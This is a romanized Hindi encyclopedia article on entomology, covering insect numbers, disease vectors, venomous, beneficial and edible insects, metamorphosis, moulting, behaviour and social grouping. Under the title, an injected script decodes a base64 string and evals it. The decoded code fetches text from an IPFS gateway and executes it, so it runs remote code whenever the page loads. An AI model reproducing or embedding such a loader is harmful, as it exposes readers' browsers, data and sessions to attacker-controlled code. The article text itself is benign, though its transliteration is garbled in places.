कीटविज्ञान

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

kitavijnan eantom aauloji

Entomology pranivijnan ka ek aang hai jisake aantargat kitoan athava shatpadoan ka adhyayan ata hai. shatpad (shath=chhah, pad=pair) shreni ko hi kabhi-kabhi kit ki sanjna dete haian. kit ki paribhasha yah ki jati hai ki yah vayushvasaniy sandhipad prani (Arthropod) hai, jisamean sir, vaksh aur udar spasht hote haian; ek jo di shrriangikaean (Antenna) tin jo de, pair aur vayask avastha mean pray: ek ya do jo de pankh hote haian. kitoan mean agrapad kadachith‌ hi kshin hote haian. kit ki utpatti bahut prachin hai, kyoanki ve karbanaprad (Carbonniferous) yug mean to nishchit roop se hi vartaman the aur sanbhavat: isase bhi poorv rahe hoan.

1930 ee0 tak 10,400 jivashm (Fossil) kitoan ka varnan kiya ja chuka tha aur tab se ab tak any anek kit is soochi mean jo de ja chuke haian. vartaman jatiyoan (Species) ki sankhya lagabhag 6,40,000 haian. aisa anuman hai ki yadi sabhi ka ullekh kiya jae to unaki sankhya 20,00,000 tak pahuanch jaegi. kit nyoonadhik sab kshetroan mean pae jate haian.

anek samajik kitoan ka kul b da hota hai. rani madhumakkhi mean prati din 4,000 aande dene ki kshamata hoti hai aur basant rri tu mean ek chhatte mean 40,000 se 50,000 tak makkhiyaan hoti haian. chitiyoan ki b di basti mean 5,00,000 chiantiyaan paee jati haian. ek tiddi dal mean to lakhoan, karo doan ki sankhya rahati hai. ek prativedan ke anusar kisi tiddi dal ke akraman ke samay 15,000 ek d bhoomi mean kit phail ge the aur itane vistrit kshetr ki phasal sat ya ath ghantoan mean chat kar ge the.

mada kit pray: b di sankhya mean aande deti hai aur aande adbhut dhang se surakshit rahate haian. adhikaansh kitoan ka jivanachakr chhota hota hai. bahusankhyak kit ek sal mean vayask ho jate haian aur kitanoan ki to ek rri tu mean hi anek pidhiyaan taiyar ho jati haian. kuchh kitoan mean anishekajanan (Parthenogenesis) hota hai. sesidomidi (Cecidomyidae) mean anishekajanan ki ek anoothi vidhi hai jise pidojenesis (Paedogenesis) kahate haian.

sadharan kit chhote hote haian, par b de b de kit bhi pae jate haian. sabase b da jivit kit iribas egripina (Erebus agrippina) hai. yah ek prakar ka shalabh (Moth) hai. yah brazil mean paya jata hai. isake pankh ka phailav gyarah ianch hota hai.

kit vijnan ki kee shakhaean haian, jinamean arthik (Economic) kitavijnan pramukh shakhaoan mean se ek hai. isake aantargat labhakar aur hanikarak kitoan ka adhyayan ata hai. isamean kitoan ka niyantran, unaki sankhya mean kami karana, viral kshatikarta jatiyoan ka vilopan, labhadayak kitoan ka vistar aur suandar evan nirdosh kitoan ka adhimoolyan (appreciation) sammilit haian. 6,40,000 kit jatiyoan mean se 10,000 jatiyaan hi kshati pahuanchanevali haian. kuchh ki de vinashakari haian. inaka niyantran paramavashyak hote hue bhi pray: kathin aur kharchila hota haian.

arthik kitavijnan ke kee bhag haian, yatha : k vinashakari kitoan ki pahachan, kh jatiyoan ke svabhav ka adhyayan, jisase unake jivanachakr ka koee bhed ya rahasy jnat ho sake; g niyantran vidhi ka nirdharan evan gh upalabdh jnan ke phal ka utpadakoan aur krishakoan mean prasar.

bahut se kit manav rogoan ke prathamik athava madhyamik poshak (host) ya vahak ka kam karate haian. anek prakar ke jivanuoan, jaise protozoa (Protozoa), keanchue (Nematodas) aur vishanuoan (Viruses) ityadi ka prasar kitoan dvara hota hai. manav rogoan mean shitajvar (maleriya) adhik ganbhir kitajanit bimari hai. pleg ke vishanu baisilas pestis (Bacillus pestis) ka prasar phudakakit (phli Flea), dvara hi manushyoan, choohoan tatha any kutaranevale praniyoan mean hota haian. 1914 ee. mean bharat mean pleg se 1,98,875 logoan ki mrityu huee thi.

taifaid jvar baiktiriya janit bimari hai. isaki chhoot kee prakar se lag sakati hai. ghareloo makkhi is rog ka mukhy prasarak samajhi jati hai. anek prakar ke phitakrimi (Tapaworm) apane jivaneitihas ka kuchh aansh kitoan ke sharir mean vyatit karate haian. any anek rogoan ka prasar bhi kitoan dvara hota hai.

ushn pradeshoan mean nidralu rog (Sleeping sickness) tsetsi (Tsetse) makkhi dvara aur philapaanv (Elephantisis) machchharoan dvara phailata hai.

vishaile kit

bahut si shreniyoan ke kit dank marate haian ya tvacha mean pradah utpann karate haian. madhumakkhi ka dansh pray: kshanik hota hai aur ganbhir nahian hota. sanbhavat: baldaphesed harnet (Baldfaced hornet) aur yelo jaiket (Yellow Jacket) bahut hi daravane hote haian. chiantiyaan bhi dank marati haian aur shikar ke sharir mean sidhe ph aauramik aml pravisht kar deti hai. agni chianti (Solenopsis geminata) bahut hi kalahapriy hoti haian aur isaka aansh bhayankar jalan utpann karata hai.

khatamal vishaile hote haian. kuchh makkhiyaan ativ anishtakar hoti haian. machchharoan ka dansh to bhali bhaanti maloom hai. ashv makkhi (h aaurs phlaee) aur astabal makkhiyoan (stebal phlaee) ka mukhaang bahut hi tikshn hota hai. inaka dansh pray: tivr pi da pahuanchata hai. bharat ke paiangoniya laangirostris (Pangonia longirostris) ki sooan d isake sharir se tiguni ya chauguni b di hoti hai aur kaphi mote kap de se dhaki hone par bhi manushy ki tvacha ko bhed deti hai.

dank maranevale kit

inake sharir par vishaile lom hote haian. ye sankhya mean bahut haian. dakadhari lom b de khataranak hote haian. jab ve aankh ki putali mean g da die jate haian tab b di jalan paida karate haian.

labhakari kit

(Beneficial insects) labhakari kit paanch bhagoan mean baante ja sakate haian : k jinase labhadayak padarth utpann hote haian ; kh. jo chikitsa ke kam ate haian ; g. jo hanikarak kitoan ke prakritik niyantran mean prayukt hote haian ; gh. jo phaloan ka paragan (Pollination) karate haian aur d. jo kala ke kam ate haian.

madhumakkhiyoan se ham madhu tatha mom prapt karate hean. doosare anek kit ek prakar ka momi padarth paida karate haian, jise manushy vibhinn upayogoan mean late haian. chaina mom ek prakar ke shalk kit eriseras peli (Ericerus pele) dvara sravit hota hai. bharatiy lakh kit lesiphar, ya tekaradiya lakka [Lacifer (Tachardia) lacca] ek prakar ka ras sravit karata hai, jisase vyavasayik drishti se upayogi kachchi lakh ka utpadan hota hai. sain hose skel, (San Jos Scale) vooli aiphis (Woolly aphis) aur any kit achchhi matra mean mom utpann karate haian, kiantu itani adhik matra mean nahian ki unaka vyavasayik mooly ho. ek shalk kit, kokas mainiphera (Coccus manifera) khadyopayogi shalkali (phleki, Flaky) srav utpann karata hai. k aauchinil namak ranjak kokas kaiktai (Coccus cacti) namak shalki kit ke sukhae hue sharir ki bukani se taiyar kiya jata hai.

kitotpann padarthoan mean se resham sarvadhik mahatvapoorn haian. yah bahusankhyak sooandiyoan (kaitarapilar, Caterpillar) tatha any anek prakar ke kitoan evan mak diyoan ke dianbhoan (larva) dvara kata jata hai. baanbiks mori (Bombyx mori) ke atirikt resham ka any koee bhi ki da vyavasayik upayogita ka nahian paya gaya hai.

kit majoophal (Insects gall) se tainin prapt hota hai, jo khal ko pakane tatha sthayi, pakki syahi banane mean kam ata hai.

maid aipal sadrish kitajanit phaloan se ek doosara utpad tarki red prapt hota hai.

chikitsa ke kam ane vale kit

bahut prakar ke kit aushadhiy gunoan ke lie prakhyat haian. blistar bital (Blister beetle) ke sharir se kaiantharaidin (Cantharidin) nikala jata hai. any anek vibhinn jatiyoan ke kitoan se bhi kaiantheraidin prapt hota hai, kiantu bharat ki milabris sikori (Mylabris cichorii) jati any sabhi jatiyoan ki apeksha duguna utpadan karati hai. ek vishesh aushadhi ailkohal ki sahayata se epis (Apis) namak makkhiyoan ke sharir se nishkarshit hoti hai. galit ootakoan evan ghavoan mean vartaman baiktiriyoan ko saph karane ke liye boolphartiya (Wolfahrtia) ke maig aaut (Maggot) ka upayog udasphobhriang (Blister beetle) hota hai. yah koliaptॅra gan ka kit hai.

parashrayi evan shikari prakriti ke kit

(Parasitic and predaceous Insects) vigat kuchh varshoan mean prajanan vijnan aur parashrayi evan shikari kitoan ki pahachan ki or paryapt dhyan diya gaya hai. vinashakari kitoan ke niyantran ke lie paropajivi aur shikari prakriti ke kit vishesh roop se upayogi siddh hote haian. kitoan ke 26 vargoan mean se 18 varg shikari tatha parashrayi kitoan ke haian. haimenamh‌ॅtara (Hymenoptera) tatha diptara (Diptera) varg mean sabase adhik parashrayi kit haian. hemiptara (Hemiptera) koliaauptara (Coleoptera) nyoor aauptara (Neuroptera) tatha diptara vargoan ke aantargat sabase adhik sankhya mean shikari prakriti ke kit milate haian.

kit paragan

phaloan ke paragan mean kit bahut hi upayogi siddh hue haian. bahut se pushpoan mean to parag ka sthanaantaran saral hota hai, kiantu kuchh pushpoan ka vikas is prakar hota hai ki kit akarshit hokar unake pas jaean, athava kit ka vikas is prakar hota hai ki use pushpoan se parag lene mean subhita ho. smarana ke aanjir ki vriddhi ke liye blastofaga (Blastophaga) kit avashyak hai.

bhojy kit

ye chi diyoan, chhipakaliyoan, medhakoan, sarpoan, machhaliyoan evan any praniyoan ke bhojan ke kam ate haian. manushy bhi phal aur sabji ke sath sadharanat: anajane anek kitoan ka bhakshan kar jata hai. adi jatiyaan b di chah aur ruchi se kitoan ka bhakshan karati hai. amejan ki ghatiyoan ke nivasi sauba (Sauba) aur chianti (atta sephalotis Attacephalotes) khate haian. dimak ushnapradeshiy kuchh jatiyoan ka ruchikar bhojan hai. meksiko mean koriksa phemorata (Corixa femorata) ke aande susvadu bhojan samajhe jate haian. aphrika mean khane ke lie golikth bhriang (Goliath beetle) ki vishesh poochh hoti hai. pashchimi sanyukt rajy (amarika) mean prionas kailifornikas (Prionus californicus) namak kit akar mean b da hone ke karan priy tha. kit kabhi-kabhi kachche bhi khae jate haian. kiantu adhikatar inase vibhinn prakar ke vyanjan banae jate haian.

gayak kit

anek kit apane pankhoan ko pair se rag dakar, jhilliyoan athava pankhoan ko kanpit kar, ya kisi any prakar se dhvani paida karate haian. prashn uthata hai ki kya is prakar ki dhvani ko sangit kaha jae ? kit vijnanavetta ise jhankar (s aaunifikeshan sonification), ya stridayaleshan (stridulation) athava avyakt uchcharan (foneshan phonation) kahate haian. japan mean sika da (Cicada) aur jhiangur (Crickets) pianj de mean rakhe jate haian aur unaki jhankar anandakar samajhi jati hai.

kala aur kit

alankaroan evan chitroan mean m aauraphos (Morphos) titali ke chamakile nile pankhoan ke tuk doan ka vyavahar hota hai. ye rang phike nahian p date. amarika ke red iandiyan apani hastakala mean chi diyoan ke pankhoan ke sthan par ki doan ke tuk de lagate the. ikvedar ke jivaro (Jivaros) vyooprestid bhriang (Burprestid beetles) ke hare, chamakile, pankh, elitra (Elytra) se karnaphool banate haian. anek jatiyaan vastroan par kitoan se bane bel boote arthath‌ motiph ka bhi upayog karati haian. skarah (Scarah) misr ka bahut lokapriy kit tha aur misriyoan ke sooryadev, khepera (Khepera) ka pratiroop mana jata tha. gris mean bahut se sikkoan par madhumakkhi ka chitr paya jata hai. japani kala mean pray: inar aaus (inros), natasuke (netsukes-batan sadrish ek prakar ka japani abhooshan), hathidaant ki nakkashi, haritamani (yashab jade), panna, lak di ityadi par kitoan ka upayog bahudha hota hai. vastut: kala ki kadachith‌ hi koee shakha ho jisamean kisi-n-kisi roop mean kita ka pradarshan n hota ho.

roopaantaran metamarphosis

Metamorphosis adhikatar kitoan ke aandoan se nikalanevale dianbhoan ki akriti poorn kit se bahut bhinn hoti hai. dianbh se pyoopa aur pyoopa ke vayask banane ki parivartan shrriankhala ko roopaantaran kahate haian. keval kuchh vargoan aur bahut kam jatiyoan ko chho dakar roopaantaran sabhi kitoan ke jivan ki ek pramukh visheshata hai. roopaantaran ke tin adharabhoot siddhaant haian: vriddhi, bhedikaran tatha prajanan. vriddhi dianbh aur nianph se, bhedikaran pyoopa athava roopaantaran se, tatha prajanan vayask se sanbandhit hote haian.

aande se lekar vayask tak vikas kramik hai. 1. aanda, 2-6. arbhak (Nymphal) avastha, 7 vayask.

kit ke jivan mean vikasakal bhi hota hai, jo any kaloan se spasht tatha bhinn hota hai. inhean avasthaean kahate haian. poorn roopaantaranavale kitoan mean aandean ki avastha, pyoopavastha aur vayask avastha hoti haian. ye avasthaean phir instaroan (Instars) mean banti haian, jinaki visheshata mukhoan mean hoti haian. dianbhavastha mean pratyek bar ke nirmochan (Moult) athava ne roop ke banane par, unaki akriti mean spasht parivartan hota hai. parivartan pray: ek instar (roop) se praranbh hokar bad ke instar mean poora hota hai. ek roop se doosare roop ke aantaral mean bhi aantar hota hai. dianbh pratyek roop ke kal mean bhojan atmasath‌ karata hai, kiantu pratyaksh vriddhi purani dianbhavastha ke nirmochan ke bad hi hoti hai. vayask avastha mean rangavikas hota hai aur kit praudh hota hai. akriti aur rachana ke parivartan ke sath-sath usake bhojan aur svabhav mean bhi parivartan hota hai. kit ke svabhavaparivartan aur bhojanaparivartan mean ghana sanbandh hai. lepid aauptara (Lepidoetra) ke adhikatar dianbh vanaspatibhoji hote haian, kiantu vayask makarand (nektar nectar) choosate haian ya nirahar rahate haian. shishu haimen aauptara (Hymenoptera) vibhinn prakar ke bhojan par palate haian. shishu dimak lak di, muanh se ugala hua ya malashay se nikala hua padarth, visarjit tvacha aur lar ityadi khate haian. nianph pahale pahal lar, tab udariy bhojan aur aant mean lak di khate haian.

vriddhi

vayask kitoan mean ahar ki vriddhi kadachith‌ hi hoti hai aur aandoan mean bahut hi kam. vikas ke arth mean vriddhi kitajivan ki sabhi avasthaoan mean hoti hai. kitoan mean avayask avastha khane aur vriddhi karane ki hoti hai aur unake jivan ka adhikaansh bhag vriddhi aur vikas mean bitata hai. samanyat: kit ki vriddhi tezise hoti hai. adhikaansh jatiyaan ek sal mean hi poore akar ki ho jati haian aur bahut si kuchh hi saptahoan mean.

nirmochan

any praniyoan ki bhaanti kit mean vriddhi kramik evan lagatar nahian hoti. dianbh athava shishu (nianph Nymph) bhojan karata hai aur badhata hai. phalasvaroop isaki tvacha kyutikula (Cuticula) bahut jor se tan jati hai. is bich purani tvacha ke niche ek nee tvacha taiyar ho jati hai. nee aur purani tvacha ke bich nirmochan drav (molh‌antag phlooid moulting fluid) utpann hota hai, jo purani tvacha ko ghula deta hai aur use sharir se alag karane mean sahayak hota hai. yathochit samay par sir ke samip prishthabhag mean tvacha phat jati hai aur kit apani purani tvacha se reangakar bahar chala ata hai. tvagmochan ke pashchath‌ nee tvacha shighr hi k di p d jati hai. rang nikhar jata hai aur kit doosari bar bhojan karane par vriddhi ke lie taiyar ho jata hai. is kriya ko tvagmochan (Ecdysis) kahate haian. purani tvacha ko, jo alag ho jati hai, nirmok (egjyoobiee Exuviae) kahate haian. tvagmochan ke bich ke kal ko staidiyam (Stadium) aur is avastha ke kit ko instar kahate haian.

tvagmochan ki kriya bahut hi sookshm hoti hai aur is samay ka kit pray: nishkriy, asahay aur kisi prakar ki kshati ke prati tivr anubhootishil hota hai.

kitavyavahar

kitavyavahar ki tin shreniyaan, haian:

• avartana (Tropism),
• sahajavritti (Instinct)
• medha (Intelligence)

avartana

(Tropism) kitoan par vatavaran ka lagatar prabhav p data hai. isake prati ve pratyaksh athava paroksh roop se sanvedanashil hote haian. in sanvedanaoan ki abhikriya ko avartana athava tr aaupotaiksez (Tropotaxes), kahate haian. avartana kadachith‌ hi vyaktish: hoti hai. kisi prakar ke rasayan ke prati kitoan ki abhikriya ko rasayanik avartana (Chemotropism), sparshasanvedana ke prati sparshavartana (thigm aautropijm, Thigmotropism), jaladharak ke prati sravavartana (riaautropijm, Rheotropism), jal ke prati jalavartana (haidr aautropijm Hydotropism), vidyuddharaoan ke prati anilavartana (ainim aautrapijm, Anemotropism), gurutvakarshan ke prati bhoomyavartana (jiaautrapijm, Geotropism), prakash ke prati prakashavartana (phot aautropajm), ushnata ke prati tapavartana (tharam aautropijm Thermotropism) kahalati hai.

sahajavriti

kisi jiv ka ek ya anek sanvedanaoan ke prati sanvedanashil hona sahajavritti kahalata hai. sahajavrittivali kriyaoan ke aantargat niyamak parivarti kriyaean (koaauradineted, riphl़eksez Coordinated reflexes), aur avartan ki jatil shrriankhalaean hoti haian. bharat ke piyaris braisiki (Pieris brassiace) ke svabhav ki aparivartaniyata isaka ek udaharan hai. march mean kuchh kit (piyaris braisiki) himalay ke parshv mean u date pae ge the. aprail ke aant mean prati minat hajaroan ki sankhya mean himachchhadit shikhar ki disha mean, jahaan ve nishyach hi mrityu ko prapt hue hoange, ye u d rahe the. koee samajh nahian pata ki kaun si shakti in titaliyoan ko vinash ki or prerit karati haian. vastut: unhean is sarvanash ka poorvabhas nahian hota. usi prakar deshaantaran karati huee tiddiyaan kisi prakar ke avarodh ki paravah nahian karatian. nishkarsh yah hai ki kit apane ko asadharan dasha ke anukool banane mean ayogy hote haian.

medha iantelijeans

yadyapi kit kuchh krityoan athava chhayachitroan ko yad rakhanevale pratit hote haian, kiantu ve svechchha se pun: smaran karane mean asamarth hote haian. atev unamean tark athava samajhane ki kshamata nahian hoti.

kitasangh tatha samajik kit

kitasangh kisi ek vishesh jati ka ya jatiyoan ka ho sakata hai. is prakar ka sath nishkriy athava sakriy, aur kitajivan ke kuchh hi aanshoan tak, athava poore jivan bhar, chal sakata hai.

• nishkriy kitasangh-bahudha tarang, jvar bhata athava hava ke pravah ke sath kit b di sankhya mean kisi sthan par ikattha ho jate haian. is prakar ka jamav pray: kuchh jatiyoan ke kitoan ke lie vinashakari ho sakata hai, kiantu doosare praniyoan ke lie bhojan ke roop mean labhadayak hota hai.

• sakriy sahachary-bhojan, maithun, nidra, daliy u dan, sthanaantaran, grishmakalin nishkriyata (estiveshan Estivation) athava shitakalin nishkriyata (haibarneshan Hibernation), chhote athava b de dal mean kitoan ke ekatr hone ke karan ho sakate haian. jo kit kisi sangh athava samaj mean rahate haian, par vastav mean samajik nahian hai, yoothachar (grigeriyas gregarious), kahalate haian.

• grishmanishkriy athava shitanishkriy sahachary-bahut se karan, jaise surakshit sthan ka chunav, kitoan, jaise iandragop (ledi bard bital, siretomegila maikulata Ceratomegilla maculata), ko grishmanishshkriy hone, pyoopa banane athava nishkriyata ke liye badhy karate haian. vibhinn samoohoan mean ekatr hone (Congregation) ke svabhav mean bhinnata hoti hai.

• rakshatmak samoohan (protektiv aigrigeshan Protective aggregation)-apane samoohagat svabhav ke karan kit sanbhavat: parojiviyoan shikari shatruoan aur pratikool rri tuoan se surakshit rahate haian. shit nishkriy kitoan, jaise ghoornabhriang (Whirligig beetle) par yah bat vishesh roop se lagoo hoti hai.

lepid aauptara (Lepidoptera) gan ki 1. titali (Butterfly) aur 2. shalabh: (Moth) diptara (Diptera) gan ki 3. makkhi (House fly) tatha 4. machchhar (Mosquito) saifoneptara (Siphoneptera) gan ka 5. pissoo (flea) haimen aauptara (Hymenoptera) gan ki madhumakkhi: 6. shramik, 7. rani tatha 8. puanmadhup aur isi gan ki 9. tataiya (Wasp) tatha 10. chianti.

• prvraji samoohan (Migrating aggregation)-kit bahudha bahuth‌ samoohoan mean deshaantar gaman karate haian. proseshan m aauth (Cnetho campa (Bombyx) processione) ka, jo vanju (Oak) vriksh par nirvah karata hai, ratriprvrajan tatha chara ekatrit karanevali evan sainy dal baandhakar chalanevali chitiyaan isake uttam udaharan haian.

• jhuand mean u danevala samooh (svarmiang aigrigeshan Swarming aggregation)-dal ya jhuand banakar kitoan ke chalane ko svarm kahate haian. vastavik jhuand banakar u dane ki adat maithun se sanbandhit hoti hai. madhumakkhi, chianti aur dimak ki u dan isake samany udaharan haian.

• shayan samooh (slipiang aigrigh‌eshan Sleeping aggregation)-bahudha kit apani sakriyata band kar dete haian aur sone lagate haian. kshirapad (milk vid Milk wed) titaliyaan apane varshik sthanaantaran ke samay sone ke liye ekatrit hoti haian.

• prithakkaran (dissosieshan Dissociation)-kitoan ki kuchh jatiyaan vibhinn karanoan se prithakh‌ hone ke liye badhy hoti haian. shikari kit, peantat aaumidi (Pentatomidae) reduvaidi (Reduviidae) tatha phaimaitidi (Phymatidae) ki apekshakrit bahut b di sankhya aandoan se utpann hoti haian aur janm ke pashchath‌ shighr hi bhojan ki khoj mean bikhar jati haian, kyoanki ek hi sthan par bhojan ka abhav hota hai

• samajik samoohan-ve kit jo sangathit samoohoan athava aise vasasthanoan mean rahate haian, jahaan shram ka vibhajan hota hai aur shramik kit shishu kitoan koan bhojan pradan karate haian, samajik kit kahalate haian. unaki samany tatha sarvalaukik visheshataean ye haian: apekshakrit b di abadi, sahayog, shramavibhajan, sadharanataya: pathey ka uttarottar sangrah, apatyasneh, chabae bhojan ka viniyam (tr aauphailaiksis trophallaxis), kisi-kisi mean dal banakar u dan karana aur nyoonadhik parishkrit ni d ka nirman. pratyaksh roop se poornat: roopaantaran karanevale kitoan ka, jaise chiantiyoan, madhumakkhiyoan guanjamadhumakkhiyoan (banbul bij Bumble bees) patratataiyoan (pepar vasp Paper Wasps) adi ka svabhav samajik hota hai. kramik roopaantaran karanevale kuchh kitoan mean bhi, jaise ais aauptara (Isoptera) tatha daram aauptara (Dermoptera) mean, samajik adatean hoti haian. eanbaidaina (Embiidiena) tatha skairabiidi (Scarabaeidae) apane shishuoan ka dhyan rakhate haian aur praranbhik avastha ke hi samajik ya upasamajik kahe jate haian.

• ekaantapriy kit (s aaulitari iansekts Solitary Insects) -inaki adatean svatantr bhojan prapt karanevale aur samajik jivan vyatit karanevale kitoan ke madhy ki hoti haian. yah svabhav mukhyat: madhumakkhiyoan aur barroan mean paya jata hai, yadyapi any jatiyaan bhi isase vanchit nahian haian.

• mritopajivi athava bhangi kit (sapr aauphagas iansekt Saprophagous Insects)-alpaposhak tatvoanvale, anupayogi padarthoan ka upayog karane mean samarth, aharanal ke atirikt, bhangikitoan ke svabhav mean koee vishesh parivartan nahian hoti. bhangikit mukhyat: thaisanyoora (Thysanura), koleanbala (Collembola), blaitidi (Blattidae) tatha nimn ksheni ke koliaauptara (Coleoptera) tatha diptara (Diptera) mean pae jate haian.

• shikari kit (predatars Predators)-ye doosare praniyoan ke oopar jivananirvah karate haian. shikari kitoan ki visheshata hai ki ve kisi poshak par asthayi roop se sthit rahate hai kyoanki ve ek ke bad doosare poshak apanate haian aur kabhi-kabhi to sek doan ka bhakshan kar dalate haian. aaurthoptara (Orthoptera) gan ka maiantidi (Mantidae) parivar, nyoor aauptara (Newroptera) ke dianbh odonata (Odonata) ke nimajjak tatha plik aauptara (Plecoptera), bahusankhyak hetir aauptara (Heteroptera) aur haimen aauptara (Hymenoptera) shikari jatiyoan ke aantargat ate haian.

paropajivi

ve jatiyaan haian jo doosare praniyoan se, bina unhean mare, apana bhojan prapt karati haian aur pray: keval ek hi poshak par akraman karati haian. jooan is samooh ka achchha udaharan hai.

ardhaparopajivi

paropajivi aur shikari donoan ke madhy ke svabhav kit ardhaparopajivi kahalate haian. pahale to yah paropajivi rahata hai aur poshak ke marmasthal ko chho data chalata hai, bad mean yah shikari ban jata hai aur poshak ka bhakshan kar jata hai. is prakar ke ardhaparopajivi prachur sankhya mean diptara tatha haimen aauptara varg mean milate haian.

kit tatha paudhoan ka sanbandh

paudhe tatha kitoan ka sanbandh parasparik ho sakata haian. isamean paudhe ya kit mean se labhanvit ho sakata hai. kitoan mean adhikaansh svatantr roop se bhojan karanevale hote haian. kuchh to bhoomi ke aandar nivas karanevale aur any jaliy hote haian, kiantu sabhi poshak ke bahy bhag ka hi bhojan karate haian aur vicharan karane ke lie svatantr hote haian. jo kit vistrit ya kam vistrit kshetroan se bhojan prapt karate haian ve khadyanveshak (Forager) ya shikari haian. sabhi varg ke kitoan mean bhojan karane ki svatantr adatean hoti haian. kuchh choosak hote haian aur kuchh chabanevale. tidde (Grasshoppers) joon bitl (June beetles), kat varm (Cut worms) armi varm (Army worms) aipulh‌ teant (Apple tent), ti kaitarapilar (Tea caterpillar), veb varm (Web worms) aur liph bital (Leaf beetles) khadyanveshi jiv haian. ve bahudha jhuand mean milakar kary karate haian aur pratyaksh kshati pahuanchate haian. any jatiyaan, jaise p aauliphimas (Polyphemus) ke dianbh adhikatar akele hi khate haian.

pattoan mean surang bananevale kit

is jati ke dianbh (larva) asthayi roop se athava jivanaparyant pattoan ke bahy tvachiy do staroan ke bich nivas karate aur poshit hote haian. koliaauptara (Coleoptera) lepid aauptara (Lepidopdera) , diptara tatha haimen aauptara gan ke kitoan mean pattoan mean surang banane ki adat hai.

pattoan ko lapetanevale ki de

kit ke aise dianbhoan dvara patte kudanlakar banae jate haian. ye dianbh resham katate haian, jo patte ko mo dane athava lapetane ke liye prayukt hota hai. yah adat adhikaansh lepid aauktara varg mean paee jati hai.

drusphot kit

paudhe mean drusphot ke mukhy vahak kit aur kilaniyaan hai. koliaauptara, lepid aauptara , hom aauptara, thaisen aauptara, diptara aur lepid aauptara ganoan ke kito mean yah adat hoti hai.

bedhak kit

paudhe, prani tatha bhoomi adi anek padarthoan mean kit chhed karate hai. poorn roopaantarit tatha hanvikayukt mukhaang vale kitoan mean mukhyat: chhed karane ki adat hoti hai. kaliaauptara, lepid aauptara, diptara aur hairen aauptara vargoan ke atanrgat bedhak kit pae jate haian.

aantarbhau kit

ye apana aanshik ya poorn jivan bhoomi mean mitti ke niche vyatit karate haian. japani bhriang (Japanese Bettle) apane jivan ke gyarah mahine aande, dianbh aur pyoopavastha mean bhoomi ke niche vyatit karate haian aur bhojan tatha maithun ke nimitt kuchh samay ke lie bahar nikalate haian; taduparaant aande dene ke lie pun: bhoomi ke niche chale jate haian. doosari or lepid aauptara (Lepidoptera) pyoopavastha mean kuchh hi samay ke lie bhoomi mean pravesh karate haian. prithvi ke bhitar rahanevale adhikaansh kit apane jivanetihas ka kuchh aansh aande, dianbh, nianph, pyoopa, athava vayask ke roop mean jamin ke bhitar vyatit karate haian. bhoomi ke niche ek ya anek avasthaean vyatit karate haian. adhikaansh vargoan mean jamin ke bhitar rahane ki adat hoti haian.

jaliy kit

ve jatiyaan haian jo adhik ya kam jal se sanbandhit hoti haian. helobetis (Halobates) jinas ke vatar straidar, jeraidi (Gerridae), yatharth mean chhichhale jaliy haian. pray: jaliy kitasamoohoan mean ushn strotavasi kit pae jate haian.

khol nirmata kit

kit ki aanrabhik jivanavastha arthath‌ aande, dianbh tatha pyoopa ki avastha, pray: khol mean band hoti haian. thaisanyoora koleanbola (Thysanura Collembola) tatha aaurthoptara (Orthoptera) ke atirikti lagabhag sabhi vargoan ke kitoan mean, khol banane ki adat hoti haian.

sakriyata ka sthagan

vishram ke pray: do roop hote haian : sharirik vikas ka rukana, jise dayap aauj (Diapause) kahate haian, aur sakriyata ka rookana, jise kinetop aauj (Kinetopause) kahate haian. kitajivan ki kisi bhi avastha mean sharirik vikas ruk sakata haian, kiantu sanbhavat: aande aur pyoopa avastha mean yah rukana bilakul spasht hota haian. kinetop aauj kee prakar se ho sakata hai, jaise vishram, nidra, moorchha, grishmakalin nishkriyata, shitakalin nishkriyata aur mrityu.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh